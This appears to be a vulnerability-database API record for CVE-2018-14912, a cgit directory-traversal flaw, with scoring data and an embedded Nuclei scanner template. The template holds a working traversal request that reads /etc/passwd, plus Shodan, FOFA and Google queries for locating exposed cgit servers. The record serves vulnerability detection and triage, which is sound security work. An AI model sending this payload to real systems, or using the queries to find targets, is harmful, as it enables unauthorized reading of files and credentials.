{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-14912/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-14912/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-14912/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-14912/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-14912/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-14912"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-14912"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.9288,
      "kev": false,
      "percentile": 0.99827
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2018/CVE-2018-14912.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2018-14912\n\ninfo:\n  name: cgit < 1.2.1 - Directory Traversal\n  author: 0x_Akoko\n  severity: high\n  description: cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.\n  impact: |\n    Unauthenticated attackers can access arbitrary files on the server through path traversal in cgit when HTTP clone functionality is enabled, potentially exposing sensitive repository data, source code, configuration files, and credentials.\n  remediation: |\n    Upgrade cgit to version 1.2.1 or later to mitigate the vulnerability.\n  reference:\n    - https://cxsecurity.com/issue/WLB-2018080034\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-14912\n    - https://lists.zx2c4.com/pipermail/cgit/2018-August/004176.html\n    - https://bugs.chromium.org/p/project-zero/issues/detail?id=1627\n    - https://lists.debian.org/debian-lts-announce/2018/08/msg00005.html\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2018-14912\n    cwe-id: CWE-22\n    epss-score: 0.9288\n    epss-percentile: 0.99827\n    cpe: cpe:2.3:a:cgit_project:cgit:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: cgit_project\n    product: cgit\n    shodan-query: http.title:\"git repository browser\"\n    fofa-query: title=\"git repository browser\"\n    google-query: intitle:\"git repository browser\"\n  tags: cve,cve2018,cgit,lfi,cgit_project,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:[x*]:0:0\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221008552dcfd0d1ce320c03a518460fa51d54f1244ae6167bb5269032c616eed141b022100eed3f8692ec1f667d57463e85fc7c3fdb84d06fbae9e7dd974d984b19b1ad1db:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2018-14912"
}